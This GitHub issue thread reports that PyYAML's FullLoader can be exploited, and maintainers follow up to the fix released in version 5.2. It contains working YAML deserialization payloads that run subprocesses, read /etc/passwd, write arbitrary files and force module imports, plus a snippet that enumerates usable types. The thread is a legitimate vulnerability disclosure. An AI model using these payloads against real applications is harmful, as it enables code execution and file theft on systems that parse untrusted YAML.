FullLoader is not much safer than UnsafeLoader

[jamespic]

The documentation on yaml.load deprecation suggests that using FullLoader is safer than using UnsafeLoader. Whilst it's true that FullLoader is not vulnerable to the YAML given on that page, there are other payloads that trigger remote code execution or other problematic behaviour using only standard library modules:

# Executes arbitrary code - does rely on subprocess being used somewhere in the vulnerable application, but see forced import hack
yaml.load('!!python/object/apply:subprocess.Popen [["echo", "Hello World"]]')

# Allows reading arbitrary files - notably, does not rely on any modules being loaded beyond those used by PyYAML
yaml.load('!!python/object/apply:list [!!python/object/apply:io.FileIO ["/etc/passwd", "r"]]')

# Writes to an arbitrary file - again, only uses modules that are imported by PyYAML
yaml.load('!!python/object/apply:list [!!python/object/apply:map [!!python/object/apply:operator.methodcaller ["write", "Hello World"], [!!python/object/apply:io.FileIO ["/tmp/output", "w"]]]]')

# Forcibly load a module that is not currently imported - only uses existing PyYAML dependencies
yaml.load('!!python/object/apply:list [!!python/object/apply:map [!!python/object/apply:operator.methodcaller ["load_module", "subprocess"], [!!python/object/apply:itertools.__loader__ []]]]')

Either the documentation should be made clearer about the relative safety of FullLoader, or FullLoader should be tightened to prevent these cases.

You can summarise which types are available for use in exploits with the following snippet:

import sys, yaml
for modulename, module in sys.modules.items():
    for itemname, value in module.__dict__.items():
        if isinstance(value, type):
            print(modulename + "." + itemname)

[ingydotnet]

@jamespic Thanks for the info. We'll address this in the next release.

[perlpunk]

@jamespic could you please check #347?
thanks

[jamespic]

It certainly seems to fix the examples I've given. I notice that !!python/object/new is still available, so I'll have a play and see if I can do anything malicious with that, but I'll close this issue, and open another if I find anything.

[perlpunk]

thanks!
I was wondering about object/new too, but I don't know python enough to be able to say if it could be dangerous too

[perlpunk]

I'll reopen the issue though, as long as the PR is not merged.

[jamespic]

Yeah, having a poke around, it looks like for most classes, __new__ does little more than allocation, and creates a half-formed, not particularly usable version of the object, and any useful (for a blackhat) logic is in __init__. I suspect that's more by accident than design, and I bet that some native extensions put more logic into __new__, but I'll keep poking.

[perlpunk]

We released 5.2: https://pypi.org/project/PyYAML/5.2/

[perlpunk]

I'm closing this now, thanks!
I think for an attack you now would need to find a module that does exploitable things in __new__ or __init__.

[jamespic]

I believe the exploitable code would have to be in __new__. The old behaviour was exploitable precisely because of exploitable behaviour in __init__, and the patch in 5.2 closes off that avenue of attack.

For most of the objects used in the exploit examples above, creating an object with __new__ (which doesn't automatically call __init__, by default) creates a half formed object that isn't usable (files that are closed, lists with no elements, processes that aren't started). Which makes me wonder what use cases FullLoader is now useful for, but I digress.